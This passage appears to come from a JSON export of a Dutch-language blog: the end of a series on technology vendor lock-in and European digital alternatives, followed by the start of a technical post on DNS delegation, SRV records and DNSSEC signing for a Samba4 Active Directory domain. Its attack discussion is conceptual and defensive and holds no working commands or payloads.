niet de gebruiker is.\nDe bewering van nieuwheid. De industrie betoogde, met succes, dat zijn economie anders was, en dat moeilijk te verlaten zijn gewoon een eigenschap van complexe systemen was in plaats van een ontwerpkeuze.\nOrganisatie. Boeren hebben vakbonden, coöperaties en een lange gewoonte van samen onderhandelen. Ze hebben het gebruikt om specifieke wettelijke bescherming te winnen.\nTechnologiekopers hebben gebruikersgroepen en een conferentie. Toen VMware-klanten met grote stijgingen werden getroffen, kwam de echte tegendruk van een brancheorganisatie van cloudproviders, en het ging via mededingingsrecht. Deel 2 behandelde hoe lang dat kost.\nWat het je vertelt Twee conclusies, en beide zijn de moeite waard te hebben.\nHet probleem is structureel, niet nationaal.\nBayer is Duits. De grootste supermarkten zijn Brits, Frans en Duits. Het buyout-model in deel 3 wordt fel gebruikt in heel Europa.\nVervang elke Amerikaanse leverancier in deze serie morgen door 4 Europese en het gedrag komt terug, want het volgt uit de structuur.\nAls zodanig gaat het advies hier over kunnen veranderen van leverancier, in plaats van over een land kiezen.\nEen werkend antwoord bestaat al.\nWe hoeven geen nieuwe theorie van platformregulering uit te vinden.\nEr is een model waar bepaalde praktijken verboden zijn omdat onderhandelingsmacht ongelijk is, een adjudicator klachten hoort, en de zwakkere partij niet de hele bewijslast draagt.\nHet werd gebouwd voor koolplanten. Het zou op cloudcontracten werken.\nDeel 8 kijkt naar wat er nu in Europa gebouwd wordt, en hoe je kunt controleren waar je staat.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/the-same-pattern-elsewhere/","summary":"Niets hiervan is nieuw, en het gaat eigenlijk niet over technologie. Vier bedrijven beheersen het meeste van \u0026rsquo;s werelds zaadaanbod. Tien retailers verplaatsen het meeste van Brittanniës voedsel. Beide produceerden een juridisch antwoord waar software niks vergelijkbaars heeft. Deel 7 van 8 vergelijkt ze, en vraagt waarom technologie ermee wegkwam.","title":"Hetzelfde Patroon In Andere Industrieën"},{"content":"Deel 8 van 8. Deel 7 vergeleek het patroon met andere industrieën.\nWat deze post behandelt Wat Europa werkelijk gebouwd heeft. Wat vandaag realistisch is, en wat niet. 3 vragen om uit te werken waar je staat. Een eerlijk woord over deze website. De trend is gekanteld Heel wat jaren was Europese digitale onafhankelijkheid vooral een gesprek.\nSinds 2025 is dat veranderd. Er zijn nu werkende producten, en bedrijven die ze elke dag gebruiken.\nDit is de nuttigste trend in de hele serie, want het is degene waar je op kunt handelen.\nOffice- en samenwerkingssoftware openDesk is een set open source gereedschap voor alledaags kantoorwerk. Documenten, e-mail, agenda\u0026rsquo;s, bestanden, chat en videovergaderingen.\nHet wordt beheerd door ZenDiS, het Duitse centrum voor digitale soevereiniteit.\nHet is gebouwd uit gereedschap dat al bestond: Nextcloud voor bestanden, Collabora voor documenten, Open-Xchange voor e-mail en agenda\u0026rsquo;s, Element voor chat, Jitsi voor video.\nHet is in echt gebruik. De Duitse strijdkrachten tekenden een meerjarige overeenkomst. Het Robert Koch Institut, een Duits volksgezondheidsorgaan, draait het voor enkele duizenden mensen. Het Internationaal Strafhof koos het in 2025.\nEr zijn nu ook commerciële opties.\noffice.eu lanceerde in Den Haag in maart 2026. Het is een Europees-eigendom gehost alternatief voor de grote Amerikaanse officepakketten.\nEuro-Office volgde in juni 2026. Het is een gedeelde documentbewerker gezamenlijk gebouwd door verscheidene Europese bedrijven, waaronder IONOS, Nextcloud, XWiki, OpenProject, Open-Xchange en office.eu.\nZo samenwerken telt. Het betekent dat elk bedrijf niet dezelfde bewerker opnieuw op zichzelf bouwt.\nOverheden die werkelijk verhuizen Sommige overheden zijn al verhuisd, wat de rest van ons echte ervaring geeft om van te leren.\nHet Deense Ministerie van Digitalisering verhuisde van Microsoft 365 naar LibreOffice vanaf juli 2025. LibreOffice is een gratis officepakket.\nDe Duitse deelstaat Sleeswijk-Holstein verhuist tienduizenden personeelscomputers naar open source.\nFrankrijk en Duitsland bouwen ook samen gedeeld gereedschap, in plaats van dat elk voor zijn eigen betaalt.\nHet is niet meer dan eerlijk te zeggen dat dit niet altijd van een leien dakje gaat.\nMünchen verhuisde zijn gemeenteraad over verscheidene jaren naar Linux, en verhuisde toen in 2017 terug naar Windows. The Register rapporteerde over de kost destijds.\nDe belangrijkste les uit München was geen technische. De software werkte grotendeels. Wat niet standhield was de politieke steun, over bestuurswisselingen heen, op een project dat meer dan een decennium liep.\nDus deze dingen hebben gestage steun over veel jaren nodig. Dat is een echte vereiste, en het waard eerlijk voor te plannen.\nBetalingen Betalingen volgen dezelfde trend, en heel wat mensen beseffen niet hoe geconcentreerd ze zijn.\nAnalyse van cijfers van de Europese Centrale Bank suggereert dat Visa en Mastercard rond 47% van de kaartbetalingswaarde in het eurogebied in 2025 afhandelden. In verscheidene landen is het aandeel heel wat hoger.\nVerscheidene Europese landen hebben wel hun eigen kaartsystemen. Probleem is dat ze niet over grenzen werken, dus degene die overal werkt is de Amerikaanse.\nWero is het Europese antwoord. Het wordt gerund door het European Payments Initiative.\nHet begon met betalingen tussen mensen in België, Frankrijk en Duitsland. Het heeft nu tientallen miljoenen geregistreerde gebruikers. Luxemburg trad toe in 2026, en Nederland verhuist zijn bestaande iDEAL-systeem erop. De European Payments Council publiceert de voortgang.\nBetalen in winkels en online is de volgende fase. Dat is de fase die beslist of Wero een echt alternatief wordt.\nDe digitale euro zit erachter, op een langere tijdschaal van rond 2029.\nNieuwe regels De Europese Commissie publiceerde haar voorstel voor een Cloud and AI Development Act op 2026-06-03.\nHet is de eerste serieuze poging om cloudsoevereiniteit van een vrijwillig label in een wettelijke vereiste te veranderen.\nHet rangschikt cloudproviders in niveaus, op waar de infrastructuur zit, hoe onafhankelijk het gerund kan worden, en wie het bezit. Publieke-sectorkopers zouden providers nodig hebben die ten minste het laagste niveau halen.\nHet is een voorstel. Het is nog geen wet, en het kan onderweg veranderen.\nWat realistisch is, en wat niet Een hoopvolle lijst kan hier makkelijk misgaan, dus laten we ronduit zijn.\nVandaag realistisch. Officedocumenten, e-mail, agenda\u0026rsquo;s, bestanden, chat en video. Werkende Europese en open source opties bestaan, en bedrijven draaien ze nu in productie.\nEr bijna. Betalingen, en sommige clouddiensten. De onderdelen bestaan. De dekking wordt nog aangevuld.\nNog niet. Grootschalige cloudinfrastructuur. De Europese capaciteit ligt ver onder de vraag.\nWat vandaag vervangen kan worden door een Europese of open source optie Hoe vervangbaar elke laag vandaag is Kantoorwerk Documenten, e-mail, agenda's, bestanden, chat, video Nu vervangbaar Betalingen Wero groeit; winkels en online zijn de volgende fase Deels klaar Cloudinfrastructuur Europese capaciteit is veel kleiner dan de vraag Nog niet Computerchips Echte Europese sterktes, maar geen volledige vervanger vandaag Niet dit decennium Hoe hoger in de stack je kijkt, hoe meer keuze je vandaag hebt. Niet dit decennium. De chips zelf. Europa heeft echte sterktes, waaronder ASML in Nederland en Infineon en NXP in chipontwerp. Niets daarvan vervangt vandaag een datacenter-grafische processor.\nDe Bertelsmann Stiftung, een Duitse stichting, heeft geschat dat een volledige Europese stack bouwen rond 10 jaar en ongeveer €300 miljard zou kosten.\nDus volledige onafhankelijkheid ligt niet op tafel, en wie het aanbiedt overprijst wat ze hebben.\nAls zodanig was volledige onafhankelijkheid nooit het nuttige doel.\n3 vragen om uit te werken waar je staat Hier is een simpele manier om naar je eigen systemen te kijken. Het werkt voor elke leverancier, in elk land.\nStel deze 3 vragen over elke dienst waar je van afhankelijk bent.\n1. Wat stopt met werken als deze dienst stopt?\nWees specifiek. Noem de systemen en de mensen die getroffen worden. \u0026ldquo;Het is belangrijk\u0026rdquo; is niks waar je mee kunt plannen.\n2. Hoeveel weken werk zou het kosten om te verhuizen?\nDat getal zet je positie bij elke verlenging zolang je de leverancier houdt.\nAls je het niet kunt schatten, is dat al de moeite waard te weten.\n3. Zou je organisatie het alternatief werkelijk kunnen draaien?\nNiet of er een alternatief bestaat. Of je team, op de grootte die het echt is, het zou kunnen draaien.\nLibreOffice is een echt antwoord voor een ministerie met een trainingsbudget. Het is een moeilijker antwoord voor een klein bedrijf zonder IT-personeel.\nRangschik je diensten op die 3 antwoorden. De lijst is meestal kort, en vaak niet degene die mensen verwachten.\nVoor heel wat bedrijven komen e-mail en personeelsaccounts boven cloudrekenen uit. Ze verplaatsen wordt zelden getest, en zou een hele tijd kosten.\nStel dan dezelfde 3 vragen over elk Europees alternatief dat je overweegt.\nEen enkele Europese leverancier die je niet kunt verlaten is niet veel beter dan een enkele Amerikaanse die je niet kunt verlaten.\nHet echte voordeel van open formaten en open source is niet de prijs. Het is dat ze vraag 2 beantwoordbaar maken, en vraag 3 mogelijk.\nEen eerlijk woord over deze website Het zou niet eerlijk zijn dit alles te schrijven zonder het op mezelf te richten.\nDeze site is gebouwd met Hugo en bediend door Cloudflare, een Amerikaans bedrijf. Elk punt in deze serie geldt ervoor.\nIk koos Cloudflare omdat het goed werkt en me niks kost. Als het account morgen stopte zou ik wat DNS-instellingen veranderen en ergens anders publiceren.\nDus de blootstelling is echt en het gevolg is klein. Dat is een eerlijke ruil, en ik maakte hem met opzet.\nDe rest van mijn eigen apparatuur is ook gemengd. Proxmox, waar ik vaak over schrijf, is Oostenrijks. Het draait op processors ontworpen in de Verenigde Staten, op firmware die ik niet kan inspecteren.\nEr is geen opstelling die tot nul komt. Dat was nooit het doel.\nDe korte versie Technologie ging van iets dat je kocht naar iets dat je huurt.\nHuren is vaak beter, wat precies is waarom het gebeurde.\nElke kost van huren groeit naarmate het moeilijker is voor jou om weg te gaan.\nSinds 2025 zijn er echte alternatieven geland voor alledaags kantoorwerk, en landen er voor betalingen.\nDus het praktische doel is niet een bepaald land ontwijken. Het is het aantal diensten verminderen dat je niet binnen 3 maanden zou kunnen verlaten.\nBegin met degene die je nooit getest hebt. Dat is meestal waar de verrassing wacht.\nEerst gepubliceerd: 2026-08-25. Laatst bijgewerkt: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/nl/random/choice-coming-back/","summary":"Sinds 2025 is het Europese antwoord veranderd van plannen in dingen die je kunt installeren. Deel 8 van 8 behandelt wat er geland is, wat eerlijk gezegd nog jaren weg is, en geeft 3 vragen om uit te werken waar je staat.","title":"Waar Je Keuzes Terugkomen"},{"content":"Elke machine in een Active Directory-domein vindt zijn domeincontroller door DNS te vragen. Niet uit een ingestelde lijst. Hij vraagt om een SRV-record, en hij gaat waar het antwoord hem stuurt. Daarmee wordt een handvol records onder _msdcs het meest veiligheidskritische in de zone, en dringen zich twee vragen op die het waard zijn netjes te beantwoorden: hoe onderteken je ze, en wie mag ze schrijven. Geen van beide wordt vaak gesteld, en standaard worden ze allebei slecht beantwoord.\nDit bericht antwoordt op beide voor een Samba4-domeincontroller. BIND met dlz_bind9 dat de directory aanbiedt, inline ondertekenen, een verborgen primaire server waar geen enkele client ooit bij komt, een delegatie binnen een publieke zone zodat de vertrouwensketen tot de root loopt, en dynamische updates van clients ver weg van de locators.\nMaar ondertekenen is alleen iets waard als je weet wat het beschermt, en daarvoor moet je een niveau lager beginnen — bij hoe een naam überhaupt wordt opgezocht. Het eerste derde deel hiervan is dus de wandeling omlaag vanaf de root. Heb je dat al onder de knie, spring dan naar de twee DNS-backends van Samba.\nEen resolver begint met bijna niets Het is de moeite om duidelijk te zijn over hoe weinig een resolver meekrijgt, want al het andere in dit bericht volgt daaruit.\nEen net geïnstalleerde recursieve resolver weet twee dingen. Hij kent de adressen van de rootservers — een hints-bestand, dertien namen van a.root-servers.net tot m.root-servers.net, aangeboden via anycast vanaf veel meer instanties dan dertien. En als hij valideert, kent hij één publieke sleutel: die van de root.\nDat is de hele ingebouwde configuratie. Elk ander feit dat hij ooit zal aanbieden — welke servers autoritatief zijn voor uk, waar jouw domein woont, welk adres je mailserver heeft — leert hij tijdens het draaien door te vragen, en houdt hij daarna in cache tot de TTL verloopt.\nDat is een goed ontwerp. Niemand hoeft een lijst met naamservers van het internet mee te leveren, en geen centrale partij hoeft een wijziging aan jouw zone goed te keuren. Maar het heeft een gevolg, en daar gaat de rest van dit bericht over: een resolver gelooft wat hem wordt verteld, door welke server het vorige antwoord hem ook aanwees. Haal de signaturen weg en het hele bouwwerk is een keten van beweringen, elk alleen bekrachtigd door het feit dat hij van het adres kwam dat het vorige antwoord noemde. Dat is veel gewicht om aan een retouradres te hangen.\nDe wandeling omlaag door de boom Een lookup is niet één vraag. Het is een reeks doorverwijzingen omlaag door de naamboom, en elke stap is een aparte query naar een andere server.\nStel dat een client dc01.ad.example.co.uk wil. Een resolver met een koude cache doet dit:\nVraag een rootserver. De root kent het antwoord niet en doet ook niet alsof. Hij geeft een doorverwijzing terug: een lege antwoordsectie, en in de autoriteitssectie de NS-records voor uk, met de adressen van die naamservers als glue in de aanvullende sectie. Vraag een uk-server. Weer een doorverwijzing, dit keer naar de naamservers voor example.co.uk. Vraag een example.co.uk-server. Is ad.example.co.uk gedelegeerd — en in het ontwerp verderop in dit bericht is dat zo — dan nog één doorverwijzing. Vraag een ad.example.co.uk-server. Die is autoritatief voor de naam, dus hij antwoordt met het A-record en zet de AA-bit (authoritative answer). Eén lookup, de delegatieboom afgelopen, doorverwijzing voor doorverwijzing Recursieve resolver Geboren met alleen: \u0026#183; de root-hints \u0026#183; de publieke rootsleutel 1 \u0026#160; Rootserver a\u0026#8211;m.root-servers.net Doorverwijzing de NS-records voor uk. \u0026#8212; plus hun adressen als glue 2 \u0026#160; uk-naamserver autoritatief voor uk. Doorverwijzing de NS-records voor example.co.uk. 3 \u0026#160; example.co.uk bevat de delegatie Doorverwijzing ad.example.co.uk. is gedelegeerd \u0026#8212; vraag zijn servers 4 \u0026#160; ad.example.co.uk autoritatief voor de naam Antwoord het A-record voor dc01, met de AA-bit gezet Elke stap zit in de cache tot de TTL verloopt, dus een warme resolver begint bij stap 3 of 4. En precies dat maakt één vergiftigde cache-ingang zoveel waard. Eén lookup, vier servers. Elke stap geeft niet het antwoord terug maar de naam van een betere plek om te vragen, en de resolver bewaart elke stap onderweg naar beneden. Drie dingen over die wandeling doen later mee.\nDe doorverwijzing ís de delegatie. De ouder van een zone bevat de inhoud niet. Hij bevat NS-records die zeggen “vraag het daar”, en — zodra ondertekenen in beeld komt — een DS-record dat zegt “en dit is de vingerafdruk van de sleutel die je dan mag verwachten”. Delegatie is het enige structurele mechanisme dat DNS heeft, en het is waarmee je een interne zone intern houdt.\nBijna dit alles zit in de cache. De doorverwijzingen van de root en de TLD hebben lange TTL\u0026rsquo;s, dus een warme resolver springt direct naar stap drie of vier. Daarom is de cache van een resolver het aanvallen waard: vergiftig één ingang en je hebt alles daaronder omgeleid, zo lang als de TTL die jij hebt gekozen.\nDe volledige naam gaat niet naar elke server. Onder QNAME-minimalisatie vraagt een resolver de root alleen naar uk, niet naar dc01.ad.example.co.uk. Goed om te weten als je ooit je interne namen gaat zoeken in een querylog stroomopwaarts. Daar horen ze niet te staan.\nStub, recursief, autoritatief Drie woorden die door elkaar worden gebruikt en heel verschillende taken betekenen. Het onderscheid draagt gewicht in de Active Directory-helft van dit bericht, dus het is de moeite om het vast te leggen.\nWat het doet Loopt de boom af? Bevat zonedata? Stubresolver De bibliotheek of lokale dienst die je applicaties aanroepen. Vraagt één ingestelde server en neemt het antwoord aan. Nee Nee Forwarder Geeft queries door aan een andere resolver, bewaart de antwoorden. Nee Nee Recursieve resolver Doet de wandeling hierboven, bewaart elke stap, valideert eventueel signaturen. Ja Nee Autoritatieve server Antwoordt voor de zones die hij heeft gekregen, en alleen die. Zegt “ik weet het niet” over al het andere. Nee Ja De belangrijke regel is de laatste. Een autoritatieve server heeft niets te zoeken bij recursie, en een recursieve resolver heeft niets te zoeken in autoritatief zijn. Ze combineren is hoe je een machine krijgt die zowel willekeurige vragen van clients aanneemt als data bevat waar die clients van afhankelijk zijn — en dat is precies de machine die je domeincontroller niet moet zijn.\nOp een moderne Linux-desktop zit er nog een laag waar je van moet weten. systemd-resolved draait een stublistener op het loopbackadres en schrijft een resolv.conf die naar zichzelf wijst, met options edns0 trust-ad. Die trust-ad is degene om op te merken: hij zegt de stub dat hij de AD-bit (authenticated data) in antwoorden van die server moet geloven. De AD-bit is op zichzelf geen bewijs van iets — het is de bewering van de resolver stroomopwaarts dat hij heeft gevalideerd. Dat vertrouwen is redelijk als die resolver van jou is en de hop ernaartoe betrouwbaar, en anders betekent het niets.\nHoe diensten echt worden gevonden Een A-record antwoordt op één vraag: welk adres heeft deze naam. Het zegt niets over op welke poort de dienst zit, welke van meerdere servers de voorkeur heeft, of wat je moet doen als de eerste eruit ligt.\nSRV-records antwoorden op alle drie. Uit RFC 2782 is de vorm:\n_service._proto.name. TTL IN SRV priority weight port target De onderdelen van een SRV-record en wat elk ervan bepaalt het transport het domein de dienst welk soort server _ldap. _tcp. dc._msdcs. ad.example.com. 600 IN SRV 0 100 389 dc01.ad.example.com. één naam \u0026#8212; onderstrepingen houden hem uit hostruimte TTL recordtype priority weight port target Lagere priority wordt eerst geprobeerd. Weight verdeelt de last over de servers met dezelfde priority. Het target moet een hostnaam met A- of AAAA-records zijn \u0026#8212; nooit een CNAME. Eén target van \".\" betekent dat de dienst hier met opzet niet wordt aangeboden. Een SRV-record ontleed. De eigenaarsnaam codeert de dienst en het transport; het lichaam van het record draagt de failovervolgorde, het lastaandeel binnen een volgorde, de poort, en een doel dat een echte hostnaam moet zijn. Elk veld verdient zijn plek:\nDe onderstrepingsvoorvoegsels houden de dienstlabels in een eigen naamruimte. _tcp kan nooit botsen met een host die echt tcp heet, want een hostnaam mag niet met een onderstreping beginnen. Priority is de failovervolgorde — het laagste wordt eerst geprobeerd. Servers met een hoger prioriteitsnummer worden pas gebruikt als alles daaronder onbereikbaar is. Weight verdeelt de last binnen één prioriteit. Een paar met gewicht 100 en gewicht 300 krijgt ruwweg een kwart en driekwart van de clients. Het is een verhoudingsgewijze trekking, geen round-robin. Port maakt de dienst los van een bekend nummer, en zo vindt een client een LDAP-server op 3268 zonder dat iemand dat vastspijkert. Target moet een naam met A- of AAAA-records zijn. RFC 2782 is er duidelijk over dat het geen CNAME mag zijn, en dat één doel van . betekent “deze dienst wordt hier met opzet niet aangeboden” — iets wat het waard kan zijn met opzet te publiceren. Dit is wat een domein vindbaar maakt in plaats van ingesteld. Een machine in het domein heeft geen lijst met jouw domeincontrollers. Hij heeft een domeinnaam, en hij vraagt.\nDe namen die Active Directory publiceert Een AD-domein is, van de client bekeken, vooral een set SRV-records. De boom onder _msdcs is het interessante deel, want zo onderscheiden clients “een LDAP-server” van “een domeincontroller voor dit domein” van “een global catalogue voor dit forest”:\nNaam Wat ernaar vraagt _ldap._tcp.\u0026lt;domain\u0026gt; Alles dat LDAP in het domein wil _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; Domeincontroller vinden — de belangrijkste _ldap._tcp.pdc._msdcs.\u0026lt;domain\u0026gt; Specifiek de PDC-emulator _ldap._tcp.gc._msdcs.\u0026lt;forest\u0026gt; Global catalogue _kerberos._tcp.\u0026lt;domain\u0026gt;, _kerberos._udp.\u0026lt;domain\u0026gt; KDC vinden, voordat er een ticket bestaat _kpasswd._tcp.\u0026lt;domain\u0026gt;, _kpasswd._udp.\u0026lt;domain\u0026gt; Wachtwoordwijzigingen _ldap._tcp.\u0026lt;site\u0026gt;._sites.dc._msdcs.\u0026lt;domain\u0026gt; Site-bewust vinden — een DC die dichtbij is Kijk waar die lijst voor is. Kerberos-authenticatie kan niet beginnen voordat de client een KDC heeft gevonden, en die vindt hij via DNS. Site-bewust vinden betekent dat het antwoord ook bepaalt tegen welk datacenter een client zich authenticeert.\nHetzelfde idee, gemoderniseerd SRV heeft een opvolger waar je van moet weten. SVCB- en HTTPS-records (RFC 9460) veralgemenen het patroon: dienstparameters in DNS, inclusief ALPN, poort en adreshints, in één record. Zo leert een browser direct naar HTTP/3 te gaan zonder omleiding. Het HTTPS-record is al breed uitgerold. Het mechanisme is in de geest hetzelfde als SRV: de client krijgt van DNS te horen hoe hij de dienst moet bereiken. En dus geldt het argument in de volgende sectie er net zo goed voor.\nAlles na de lookup vertrouwt de lookup Hier is het kantelpunt, en het is de reden dat een DNS-bericht een veiligheidssectie heeft en niet andersom.\nEen machine in het domein start op en vraagt waar een domeincontroller is. Hij krijgt een naam en een poort. Hij verbindt daar, en dan begint hij aan alle dingen die we normaal als de veiligheidslaag zien: Kerberos, LDAP-signing, channel binding, certificaatvalidatie.\nWat gebeurt er dus als het antwoord een leugen was?\nEerlijk zijn hierover doet ertoe, want het antwoord is niet “onmiddellijke catastrofe”. Kerberos is juist met wederzijdse authenticatie ontworpen zodat een client niet aan de genade van zijn naamlookup is: een host die geen serviceticket kan overleggen voor de naam die de client vroeg, kan de uitwisseling niet afronden. Krijg een SRV-antwoord dat naar een machine zonder sleutel in het domein wijst en, voor een streng ingestelde client, mislukt het.\nDe realistische schade is subtieler, en zit helemaal in de kieren daarrond:\nDowngrade. Een client die terugvalt op NTLM als Kerberos niet werkt, is net overgedragen aan wie er ook antwoordde. Relay en dwang. De aanvaller hoeft de DC niet te zijn. De naam zijn waarmee een client verbindt is genoeg om die authenticatie te gaan doorsluizen naar ergens waar hij nuttig is. Uitval die op een storing lijkt. Laat _ldap._tcp.dc._msdcs naar iets wijzen dat niet antwoordt en het domein is met horten en stoten kapot, op een manier die niemand een hele tijd als DNS herkent. Alles zonder enige wederzijdse authenticatie. Tijdsynchronisatie, syslog, monitoring, back-upagents, dat interne HTTP-dingetje met verify=False. Genoeg omgevingen hebben daar meer van dan ze willen toegeven. Het algemene beginsel is degene om mee te nemen: DNS is een mechanisme om te vinden, niet om te machtigen. Een dienst op naam vinden is volstrekt redelijk. Iets toekennen op de kracht van een naam is niet redelijk, en het aantal systemen dat dat stilletjes wel doet — toegangslijsten op basis van PTR, ACL\u0026rsquo;s op hostnaam, “het staat op het interne netwerk dus het zal wel van ons zijn” — is het echte aanvalsoppervlak.\nWat DNSSEC oplost, en wat niet DNSSEC bestaat om één vraag te antwoorden: kwam dit antwoord echt van de zone die de naam bezit, ongewijzigd?\nHet werkt (RFC 4033 en de twee die erop volgen) door te ondertekenen, en door de signaturen te ketenen aan iets dat je al vertrouwt:\nElke RRset in een ondertekende zone heeft een RRSIG — een signatuur over die set. De publieke sleutels van de zone worden gepubliceerd als DNSKEY. De ouderzone publiceert een DS-record: een hash van de sleutel van het kind. Die DS is zelf ondertekend door de ouder, wiens sleutel gehasht is in de DS van zijn ouder, helemaal omhoog tot de root — en de sleutel van de root is het enige dat je resolver van geboorte af kende. Een vertrouwensketen van de root omlaag naar een interne zone . \u0026#8212; de root de ene sleutel die je resolver al heeft Waar elke keten begint. Meegeleverd met de resolver, zelden geroteerd, impliciet vertrouwd. ondertekende DS voor com. com. of uk., of waar je ook onder zit Een ouder staat in voor de sleutel van zijn kind. De DS is een hash van de sleutel van het kind, ondertekend door de ouder. ondertekende DS voor example.com. example.com. publiek, ondertekend, DS bij de ouder neergelegd De zone die je al bezit en al ondertekent. Hij bevat de delegatie voor de interne zone, en de DS die hem bekrachtigt. Meer van binnen bevat hij niet. ondertekende DS ad.example.com. boven de lijn: gepubliceerd naar het internet eronder: alleen binnen de omgeving aangeboden ad.example.com. de view uit AD \u0026#8212; alleen interne servers Binnen ondertekend, van buiten vertrouwd. Je resolvers valideren hem root \u0026#8594; com \u0026#8594; example.com \u0026#8594; hier, zonder lokaal vertrouwensanker en zonder iets uit te delen. De data vertrekt nooit. Alleen het vertrouwen komt binnen, langs de gewone publieke keten. De keten die een validerende resolver bouwt. Elke ouder staat met een ondertekend DS-record in voor de sleutel van zijn kind, dus één ingebouwd vertrouwensanker bij de root bekrachtigt elke zone eronder — inclusief een gedelegeerde interne zone waarvan de inhoud het gebouw nooit verlaat. Ontkenning wordt ook ondertekend, wat makkelijk te vergeten is en meer uitmaakt dan het klinkt. Zonder dat is “die naam bestaat niet” een onbekrachtigd antwoord dat een aanvaller kan verzinnen om iets te laten verdwijnen. NSEC en NSEC3 geven een bekrachtigd “er bestaat niets tussen deze twee namen”.\nDat is een echte oplossing voor een echt probleem. Cachevergiftiging is niet theoretisch: de Kaminsky-aanval maakte spoofing van buiten het pad goedkoop genoeg om over het hele internet noodpatches af te dwingen, en de maatregelen die volgden — willekeurige bronpoorten, hoofdlettermenging met 0x20 — zijn allemaal pogingen om raden moeilijker te maken, niet om antwoorden verifieerbaar te maken. Werk aan zijkanalen heeft er sindsdien telkens weer stukjes van afgeknabbeld. Signaturen zijn het enige in dat lijstje dat het spel verandert in plaats van de prijs opdrijft.\nNu de eerlijke grenzen, want DNSSEC wordt in beide richtingen overdreven.\nHet is geen vertrouwelijkheid. Ondertekenen is authenticatie met publieke sleutels; elke query en elk antwoord staat nog steeds in leesbare tekst op de draad. Privacy op de hop naar de client is DoT, DoH of DoQ, en dat is een ander mechanisme dat een ander probleem oplost. De hop naar een resolver versleutelen die niet valideert, koopt je een privégesprek met iets waartegen nog steeds gelogen kan worden.\nHet valideert geen betekenis, alleen herkomst. DNSSEC bewijst dat de eigenaar van de zone dit heeft gepubliceerd. Is het record verkeerd, of kwaadaardig, of geschreven door iemand die de zone onverstandig heeft laten schrijven, dan wordt de signatuur daar net zo trouw op gezet. Een zone ondertekenen die onbetrouwde machines mogen schrijven maakt de inhoud niet betrouwbaar — het bekrachtigt de leugen. Houd die zin vast; het laatste derde deel van dit bericht is in wezen het gevolg ervan.\nHet helpt alleen als iemand valideert. Valideert je resolver niet, dan zijn signaturen op de zones die je opvraagt versiering. En gebeurt de validatie op een resolver aan de andere kant van het netwerk, dan vertrouwt de client op de AD-bit en op het pad — zie trust-ad hierboven.\nEn het moet beheerd worden. Een verlopen signatuur is geen slechter antwoord, het is SERVFAIL — de naam gaat op zwart. Een DS bij de ouder die niet meer bij de sleutel van het kind past doet hetzelfde. Dat is de eerlijke prijs, en daarmee doet de automatisering in de volgende secties meer ter zake dan het eerste ondertekenen.\nWaarom een verzonnen interne TLD niet ondertekend kan worden Hier komen naamkeuzes van jaren terug met een rekening, en het is de moeite dat uit te spellen, want het is de reden dat het ontwerp in dit bericht een echt, eigen domein gebruikt voor interne namen.\nKijk nog eens hoe de keten wordt gebouwd: voor de sleutel van een zone staat een DS-record bij de ouder in. Een validerende resolver kan een interne zone dus alleen bekrachtigen als die zone een ouder heeft die een DS ervoor wil en kan publiceren.\nad.corp.local heeft zo\u0026rsquo;n ouder niet. .lan, .home of wat er ook verzonnen is op de dag dat het domein werd ingericht, evenmin:\n.local is voorbehouden aan mDNS. Het voor unicast-DNS gebruiken is niet alleen onondertekend, het is een gedocumenteerde botsing met hoe elk besturingssysteem in het gebouw zich mág gedragen. Het krijgt hieronder zijn eigen sectie, want het speelt in een andere klasse dan de andere drie. .lan, .corp, .home zijn niet-geregistreerde tekenreeksen. Er is geen ouder om een DS te bevatten, en de aangevraagde versies zijn niet gedelegeerd vanwege de rommel met naambotsingen in private omgevingen. home.arpa is netjes voorbehouden aan thuisnetwerken, wat ideaal klinkt — maar de delegatie is met opzet onbeveiligd. Er is geen ondertekend pad naartoe, en dat is zo bedoeld. .internal is door ICANN precies voor dit gebruik apart gezet, en dat lost het botsingsprobleem op. Dit probleem lost het niet op: geen delegatie betekent geen DS, dus geen keten. Je opties bij een interne zone zonder keten zijn: onondertekend laten, of op elke validerende resolver in de omgeving een lokaal vertrouwensanker instellen en de root van je eigen private eiland worden — een sleutel die je nu met de hand moet uitdelen, bewaken en rollen, op elke resolver, voor altijd, met SERVFAIL over het hele domein als het faalgedrag.\nEr is een veel makkelijker antwoord, en het is gratis: maak van de interne zone een delegatie binnen een publieke zone die je al bezit en al ondertekent. ad.example.com, gedelegeerd vanuit example.com. De DS gaat bij de publieke ouder. Elke validerende resolver in de omgeving bekrachtigt interne namen dan met het vertrouwensanker dat hij al heeft, en jij deelt niets uit.\nDe inhoud blijft binnen. Alleen het vertrouwen komt van buiten. Dat onderscheid is het ontwerp in de rest van dit bericht.\n.local is geen stijlkeuze Een van die vier verdient zijn eigen sectie, want het is degene die mensen verdedigen, en omdat de verdediging altijd dezelfde is: het werkt, we gebruiken het al jaren, wat is het probleem.\nHet probleem is dat .local geen niet-geregistreerde tekenreeks is die iemand ooit misschien verkoopt. Het is een naamruimte die al een eigenaar heeft en een vastgelegd gedrag, en dat gedrag is niet “vraag het de DNS-server”. RFC 6762 §3 is er niet zachtzinnig over:\nAny DNS query for a name ending with \u0026ldquo;.local.\u0026rdquo; MUST be sent to the mDNS IPv4 link-local multicast address 224.0.0.251 (or its IPv6 equivalent FF02::FB).\nLees waar die MUST echt over gaat. Het is geen bewering over wie de tekenreeks bezit. Het is een instructie over waar de query naartoe gaat — en het antwoord is een multicastgroep op de lokale link, niet je domeincontroller. Dezelfde sectie zegt dat namen onder .local “meaningful only on the link where they originate” zijn, het DNS-equivalent van een 169.254-adres.\nEen client die de specificatie correct volgt zal je DNS-server dus nooit om een .local-naam vragen. Hij roept over de draad en neemt wat er antwoordt.\nDat levert een set storingen op met een heel eigen smaak:\nHet opzoeken hangt van de client af, niet van je DNS. macOS lost .local via Bonjour op en heeft dat altijd gedaan; systemd-resolved stuurt het domein local standaard naar mDNS; Windows doet mDNS sinds Windows 10. Drie stacks, drie sets regels, en geen ervan raadpleegt jouw zonebestand. Het stopt bij de eerste router. mDNS is link-lokaal van opzet. Een naam die het aan een bureau op hetzelfde VLAN doet, doet het niet van een andere verdieping, een andere locatie of de VPN — en dat is het ticket “werkt op kantoor, kapot thuis” dat vier keer als “netwerkprobleem” wordt afgesloten voordat iemand de specificatie leest. Het gedrag verandert onder je voeten. Of een machine eerst multicast probeert, eerst unicast, of beide tegelijk, hangt af van de resolverstack en de versie ervan. Omgevingen die “al jaren prima” op .local liepen, zijn meestal omgevingen waar een distro-update de 